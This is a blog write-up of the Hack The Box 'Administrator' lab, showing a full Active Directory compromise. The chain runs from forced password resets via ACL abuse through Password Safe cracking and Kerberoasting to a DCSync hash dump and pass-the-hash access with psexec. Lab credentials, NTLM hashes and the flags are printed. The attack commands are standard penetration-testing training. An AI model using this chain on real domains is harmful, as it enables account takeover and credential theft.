# HTB • CTF • Administrator • Write-Up > Hack The Box Administrator: chain BloodHound-discovered ACL abuses (GenericAll → ForceChangePassword → GenericWrite) into DCSync, then crack the recovered Password Safe vault. Author: Elnur Badalov Published: 2025-03-01 Updated: 2025-05-21 Tags: ctf Source: https://elnurbda.com/posts/41-htb-ctf-administrator/ License: CC BY 4.0, please cite the source URL. --- # INFO CTF URL: Machine Type: Windows Difficulty: `Medium` IP: 10.10.11.42 Given Credentials: ```yaml Username: Olivia Password: ichliebedich ``` # Initial Reconnaissance ## NMAP ```bash nmap -p- -sS -sC -sV 10.10.11.42 -v --min-rate 10000 # Result PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd | ftp-syst: |_ SYST: Windows_NT 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-02-25 13:03:24Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 9389/tcp open mc-nmf .NET Message Framing 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49669/tcp open msrpc Microsoft Windows RPC 53587/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 53598/tcp open msrpc Microsoft Windows RPC 53603/tcp open msrpc Microsoft Windows RPC 53606/tcp open msrpc Microsoft Windows RPC 53625/tcp open msrpc Microsoft Windows RPC 65347/tcp open msrpc Microsoft Windows RPC ``` There a lot of services that may interest us. Let's continue the Recon phase ## Olivia's Permissions We can check for the services that Olivia has access to via `crackmapexec`: ```bash for i in {ftp,ssh,smb,winrm,ldap,rdp,mssql}; do crackmapexec $i 10.10.11.42 -u olivia -p ichliebedich ; done # result ... SMB 10.10.11.42 445 DC [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False) SMB 10.10.11.42 445 DC [+] administrator.htb\olivia:ichliebedich SMB 10.10.11.42 5985 DC [*] Windows 10.0 Build 20348 (name:DC) (domain:administrator.htb) HTTP 10.10.11.42 5985 DC [*] http://10.10.11.42:5985/wsman WINRM 10.10.11.42 5985 DC [+] administrator.htb\olivia:ichliebedich (Pwn3d!) SMB 10.10.11.42 445 DC [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False) ... ``` The information we got: - Domain: `administrator.htb` - FQDN: `DC.administrator.htb` - Olivia can access access **SMB** and **Winrm** ## SMB Let's enumerate SMB ### Users ```bash crackmapexec smb 10.10.11.42 -u olivia -p ichliebedich --users # result: ... SMB 10.10.11.42 445 DC administrator.htb\emma badpwdcount: 3 desc: SMB 10.10.11.42 445 DC administrator.htb\alexander badpwdcount: 5 desc: SMB 10.10.11.42 445 DC administrator.htb\ethan badpwdcount: 0 desc: SMB 10.10.11.42 445 DC administrator.htb\emily badpwdcount: 0 desc: SMB 10.10.11.42 445 DC administrator.htb\benjamin badpwdcount: 2 desc: SMB 10.10.11.42 445 DC administrator.htb\michael badpwdcount: 0 desc: SMB 10.10.11.42 445 DC administrator.htb\olivia badpwdcount: 0 desc: SMB 10.10.11.42 445 DC administrator.htb\krbtgt badpwdcount: 0 desc: Key Distribution Center Service Account SMB 10.10.11.42 445 DC administrator.htb\Guest badpwdcount: 0 desc: Built-in account for guest access to the computer/domain SMB 10.10.11.42 445 DC administrator.htb\Administrator badpwdcount: 0 desc: Built-in account for administering the computer/domain ``` Better formatted: ```users emma alexander ethan emily benjamin michael olivia krbtgt Guest Administrator ``` ### Shares ```bash crackmapexec smb 10.10.11.42 -u olivia -p ichliebedich --shares # result ... SMB 10.10.11.42 445 DC Share Permissions Remark SMB 10.10.11.42 445 DC ----- ----------- ------ SMB 10.10.11.42 445 DC ADMIN$ Remote Admin SMB 10.10.11.42 445 DC C$ Default share SMB 10.10.11.42 445 DC IPC$ READ Remote IPC SMB 10.10.11.42 445 DC NETLOGON READ Logon server share SMB 10.10.11.42 445 DC SYSVOL READ Logon server share ``` Better formatted: - `ADMIN$` - no permission - `C$` - no permission - `IPC$` - read only - `NETLOGON` - read only - `SYSVOL` - read only If we cannot write to any share, we cannot `psexec` to the machine. ## Winrm ### Check Command Execution ```bash crackmapexec winrm 10.10.11.42 -u olivia -p ichliebedich -x whoami # result WINRM 10.10.11.42 5985 DC administrator\olivia ``` It means we can get an interactive shell for `winrm` session ### Interactive shell ```bash evil-winrm -i 10.10.11.42 -u olivia -p ichliebedich # result *Evil-WinRM* PS C:\Users\olivia\Documents> ``` We could get the shell. # Domain Enumeration ## Powerview To enumerate further we can use Powerview: - Download it into Kali and then upload onto the machine ```powershell # upload *Evil-WinRM* PS C:\Users\olivia> upload PowerView.ps1 # import the module *Evil-WinRM* PS C:\Users\olivia> . .\PowerView.ps1 ``` ### Users ```powershell Get-DomainUser -Properties distinguishedname,samaccountname,useraccountcontrol,memberof | fl # result distinguishedname : CN=Administrator,CN=Users,DC=administrator,DC=htb memberof : {CN=Group Policy Creator Owners,CN=Users,DC=administrator,DC=htb, CN=Domain Admins,CN=Users,DC=administrator,DC=htb, CN=Enterprise Admins,CN=Users,DC=administrator,DC=htb, CN=Schema Admins,CN=Users,DC=administrator,DC=htb...} useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD samaccountname : Administrator distinguishedname : CN=Guest,CN=Users,DC=administrator,DC=htb memberof : CN=Guests,CN=Builtin,DC=administrator,DC=htb useraccountcontrol : ACCOUNTDISABLE, PASSWD_NOTREQD, NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD samaccountname : Guest distinguishedname : CN=krbtgt,CN=Users,DC=administrator,DC=htb memberof : CN=Denied RODC Password Replication Group,CN=Users,DC=administrator,DC=htb useraccountcontrol : ACCOUNTDISABLE, NORMAL_ACCOUNT samaccountname : krbtgt distinguishedname : CN=Olivia Johnson,CN=Users,DC=administrator,DC=htb memberof : CN=Remote Management Users,CN=Builtin,DC=administrator,DC=htb useraccountcontrol : PASSWD_NOTREQD, NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD samaccountname : olivia distinguishedname : CN=Michael Williams,CN=Users,DC=administrator,DC=htb memberof : CN=Remote Management Users,CN=Builtin,DC=administrator,DC=htb useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD samaccountname : michael distinguishedname : CN=Benjamin Brown,CN=Users,DC=administrator,DC=htb memberof : CN=Share Moderators,CN=Users,DC=administrator,DC=htb useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD samaccountname : benjamin distinguishedname : CN=Emily Rodriguez,CN=Users,DC=administrator,DC=htb memberof : CN=Remote Management Users,CN=Builtin,DC=administrator,DC=htb useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD samaccountname : emily distinguishedname : CN=Ethan Hunt,CN=Users,DC=administrator,DC=htb useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD samaccountname : ethan distinguishedname : CN=Alexander Smith,CN=Users,DC=administrator,DC=htb useraccountcontrol : ACCOUNTDISABLE, NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD samaccountname : alexander distinguishedname : CN=Emma Johnson,CN=Users,DC=administrator,DC=htb useraccountcontrol : ACCOUNTDISABLE, NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD samaccountname : emma ``` The valuable information: - Active Users: - **Administrator** - **olivia** - in group `Remote Management Users`, and has `PASSWD_NOTREQD` (which means we could login without her credentials) - **michael** - in group `Remote Management Users` - **benjamin** - in group `Share Moderators` - **emily** - in group `Remote Management Users` - **ethan** ### Groups ```powershell Get-DomainGroup -Properties samaccountname,distinguishedname,member | fl # result (truncated) member : {CN=Domain Admins,CN=Users,DC=administrator,DC=htb, CN=Enterprise Admins,CN=Users,DC=administrator,DC=htb, CN=Administrator,CN=Users,DC=administrator,DC=htb} distinguishedname : CN=Administrators,CN=Builtin,DC=administrator,DC=htb samaccountname : Administrators member : {CN=Emily Rodriguez,CN=Users,DC=administrator,DC=htb, CN=Michael Williams,CN=Users,DC=administrator,DC=htb, CN=Olivia Johnson,CN=Users,DC=administrator,DC=htb} distinguishedname : CN=Remote Management Users,CN=Builtin,DC=administrator,DC=htb samaccountname : Remote Management Users member : CN=Benjamin Brown,CN=Users,DC=administrator,DC=htb distinguishedname : CN=Share Moderators,CN=Users,DC=administrator,DC=htb samaccountname : Share Moderators ``` So as identified in User Enumeration ## BloodHound ### Setup Let's collect data about the domain using **`BloodHound`**: ```bash bloodhound-ce-python -u olivia -p ichliebedich -ns 10.10.11.42 -d administrator.htb -c all # there will be json files ``` To open the graph view: ```bash sudo neo4j start BloodHound ``` Then drag and drop _json_ files into the GUI. ### Analysis #### Find Principals with DCSync Rights ![_](/assets/41-htb-ctf-administrator/bh1.png) **Ethan** has DCSync Rights - he is very valuable. Right Click on him and find the shortest path to him. #### Shortest Path to Ethan ![_](/assets/41-htb-ctf-administrator/bh2.png) We can see that Emily has **GenericWrite** permission over Ethan. #### Shortest Path to Benjamin Checking other paths, we can find the following: ![_](/assets/41-htb-ctf-administrator/bh3.png) This graph shows that Olivia has **GenericAll** over Michael, and Michael can **ForceChangePassword** of Benjamin. #### Conlusion The path to **Domain Compromise** would be: ```plan [Emily] -GenericWrite-> [Ethan] -DCSync-> [Domain Compromised] ``` As identified, there is also the following path: ```plan [Olivia] -GenericAll-> [Michael] -ForceChangePassword-> [Benjamin] ``` So, there should be a path from Benjamin to to Emily that currently, we cannot see. ```plan [Benjamin] -?????-> [Olivia] ``` # Getting Michael (GenericAll) Via **GenericAll** we can force password change: ```bash # import the module . .\PowerView.ps1 # prepare new password $NewPassword = ConvertTo-SecureString 'asdQWE!@#123' -AsPlainText -Force # change the password Set-DomainUserPassword -Identity 'michael' -AccountPassword $NewPassword ``` And it worked! Check using crackmapexec: ```bash crackmapexec winrm 10.10.11.42 -u michael -p 'asdQWE!@#123' # result WINRM 10.10.11.42 5985 DC [+] administrator.htb\michael:asdQWE!@#123 (Pwn3d!) ``` Note: it is not the only path for **GenericAll**, but to my mind the easiest `:)` # Getting Benjamin (ForceChangePassword) Now, `evil-winrm` using Michael user: ```bash evil-winrm -i 10.10.11.42 -u michael -p 'asdQWE!@#123' ``` And repeat the steps: ```bash . .\PowerView.ps1 $NewPassword = ConvertTo-SecureString 'asdQWE!@#123' -AsPlainText -Force Set-DomainUserPassword -Identity 'benjamin' -AccountPassword $NewPassword ``` Now check the access: ```bash # winrm crackmapexec winrm 10.10.11.42 -u benjamin -p 'asdQWE!@#123' # result WINRM 10.10.11.42 5985 DC [-] administrator.htb\benjamin:asdQWE!@#123 # ftp crackmapexec ftp 10.10.11.42 -u benjamin -p 'asdQWE!@#123' # result FTP 10.10.11.42 21 10.10.11.42 [+] benjamin:asdQWE!@#123 ``` Benjamin has no access to `winrm` as he is not in `Remote Management Users` group. However, checking other services we can find that, he has access to **FTP** service. Maybe it will allow move forward. # Getting Emily (Decrypt a Backup File) Open an FTP session: ```bash ftp benjamin@10.10.11.42 # and enter the password # there is a Backup file that you can download ftp> ls -la ... 10-05-24 08:13AM 952 Backup.psafe3 ... ftp> get Backup.psafe3 ... 226 Transfer complete. ... ``` The file extension is `psafe3`. Searching in the internet I found that it is encryption used in `pwsafe` utility. - And there is a way to crack the encryption using **`hashcat`** ```bash # search for the mode: hashcat --help | grep -i safe # result 9000 | Password Safe v2 | Password Manager 5200 | Password Safe v3 | Password Manager # most likely the version is v3, so 5200 hashcat -m 5200 -a 0 Backup.psafe3 /usr/share/wordlists/rockyou.txt --force # result Backup.psafe3:tekieromucho ``` Now let's decrypt it: ```bash # installation sudo apt-get update sudo apt-get -y install passwordsafe # start the app pwsafe ``` Enter the Backup file path and enter the password: ![_](/assets/41-htb-ctf-administrator/pwsafe1.png) It will give us the following credentials: ![_](/assets/41-htb-ctf-administrator/pwsafe2.png) - alexander - `UrkIbagoxMyUGw0aPlj9B0AXSea4Sw` - emily - `UXLCI5iETUsIBoFVTj8yQFKoHjXmb` - emma - `WwANQWnmJnGV07WQN8bMS7FMAbjNur` So we found **Emily**'s credentials! Let's check the access: ```bash crackmapexec smb 10.10.11.42 -u emily -p UXLCI5iETUsIBoFVTj8yQFKoHjXmb # result SMB 10.10.11.42 445 DC [+] administrator.htb\emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb ``` So we can `evil-winrm` with this user! And more over, we got the user flag: ```bash *Evil-WinRM* PS C:\Users\emily> cat Desktop/user.txt 840854d99bef0a3fe4cd14cfcb94667a ``` # Getting Ethan (GenericWrite) Emily has **GenericWrite** privileges over Ethan. It means "the ability to write to any non-protected attribute on the target object, including "members" for a group, and "serviceprincipalnames" for a user" - as Bloodhound's manual says. So we can set Ethan SPN and get a hash to crack: ```bash . .\PowerView.ps1 # run as emily to setup an SPN Set-DomainObject -Identity ethan -SET @{serviceprincipalname='a/b'} ``` But it is not working, sadly: ```bash impacket-GetUserSPNs -dc-ip 10.10.11.42 administrator.htb/emily -request # result Impacket v0.11.0 - Copyright 2023 Fortra Password: ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation -------------------- ----- -------- -------------------------- --------- ---------- a/b ethan 2024-10-12 16:52:14.117811 [-] CCache file is not found. Skipping... [-] Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) ``` You may not experience the same problem: **"Clock skew too great"**. But if you do, then the solution is the following: - ```bash impacket-GetUserSPNs -dc-ip 10.10.11.42 administrator.htb/emily -request Impacket v0.11.0 - Copyright 2023 Fortra # result Password: ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation -------------------- ----- -------- -------------------------- --------- ---------- a/b ethan 2024-10-12 16:52:14.117811 [-] CCache file is not found. Skipping... $krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$45cb74f4f5fe7df4e63b8e5984bba4d4$d3a3a823d5f96a8917510ddb27a0b5dfdd68a20e9a01298720b99b813f191b0f721b2560c276cc1a193ad11db0707c05033c36f69467fa24a86e988247a55846ea828f4ff59308bb9af10dfb00f6409e936e8f19351a4b5099b5c0210b84e3186ae98d2624b7c97412ca454a730b1795520912e6ea93809b581dc90c605a4fce4422650ba9e8f431a1f06ce894f5bb95dad204d0d23536f27e034cb3c7e4e8571d3c19c4c90b7188aa1dcf9dc8828463afe6538fcdd304f9b77e5199fc9b6e07cc49c30b895580906f6ee2ea7c046bfcb54f62d92ca9553531c13e81f82fcce40181d3ca2890ad6f5c8345898a9420304c0d334ab2c2bf6f939978e9b4b87131c2512882b81ae46e0989e18551da3076cf1f34957a69da0da354b66038c9033afbcbd5a52938132794908a29142ad1a6ed50d15929b2678d24fe063a6201501745ae75720768f96833e6fe8166ea5aeaa5966286584e6c6c8e8adcd4ba29807468f121fa623c5f7f54566d8872a9175ed9c3984a7c7c1152b1ca5de0a9dfdd3933e874e606d15fa1bb9eaff3f975716d2364bde2f3b9828fff8d2d09606dabc6259717c5dd6aa611058d8c1ccb91ee8bafe83baf74c30945f004608bff90bb946811229dba56d00f6ecf7bd0936dfd44423774d060b7bc430b0eee075edbf2ca8f429d33f9b3963c9197964cd62eba58f2273bfb0d415957dbdca0a1a053451ae68b3edd14d312f8541fcb9181bd38e7aebafb5c41be24ec26f039081df877e71caecaad5eb02ce7fc79d6bf0a55e618a0e850f1f1cc27b0a9a58007031da3b9d9d01038787184bb48515c54efb1196d3da201e501d125106873157f87d0f5768d61dc4538d0787200a9d8415b1d56fa3695008c10588b7feaab7880729cd7e3c6c94d9dbda2ddfe110337cabae6e185133b71c85420ee8f3015a404f2e8eb301f9b2371bd745cc1002ed20be349eaf310e5f8b8b4104a9df366944b552c4666f0128d3a48bb59ac98874a0ffac80d7b8be967a652f40e9441d3ed55f752c835906200879123d9ed84472a7fb80bb66c03875859ef272b8ab034bea501c69808475c20850fc68e0d8016b1eb04c04137dbdc2f6f41f8f22d9df172bd319d84fd50fc89cf51b7539d45d1e5ced0ce3ca6455bfa025a3876bd90389d66cf75f3b6744731ef4a38d728efaf68d080a573f666f5c85ceba4fb98e2a5ccb8b92221acadc9c4bedc42f5e9db1e506989164a147fc9a19e0a62c6b98aca237a7a69f4b31796d56017a8e389d27c138276a08622e7151cc4a45555eca3dfd59fdd40e7e881b1752199f2ee035f9846ef0280b9f4aff016dca1f49bb21bd5b2d629cd06ee3495a0a8b8d74e8d2cb9bbcb8a74714dfdc76fca3beaa8ee40eabba354ef49625c775c55db6821342508e731edde305c158dc8832d0e87bc44c1615b82d4737ae84a20e812b5d2e4920b0fc2f0b8b63301eac80420d832444ad9768aefcad0c1a5ece51d0e9e2a6d25928343359ff1833760f7fd579deee65880f13792d955 ``` Great! Now crack the hash ```bash # hash.txt contains the hash john hash.txt # result ... limpbizkit (?) ... ``` Check the access ```bash crackmapexec smb 10.10.11.42 -u ethan -p 'limpbizkit' # result SMB 10.10.11.42 445 DC [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False) SMB 10.10.11.42 445 DC [+] administrator.htb\ethan:limpbizkit ``` Yes, credentials are correct, but you will not be able to get to `evil-winrm` as he is not in `Remote Management Users`. # Getting Domain Dominance (DCSync) Ethan can perform **DCSync**, it means we can get almost anything in this Domain, but let's just dump some hashes `:)` ```bash impacket-secretsdump 'Administrator.htb/ethan:limpbizkit@10.10.11.42' -just-dc # result: a lot of hashes ... Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e:: ... ``` Now **pass the hash** to gain the access: ```bash impacket-psexec Administrator.htb/Administrator@10.10.11.42 -hashes aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e # result: We have access C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt 4ed49dc4cff068217abfecca8a15037c ``` # Result -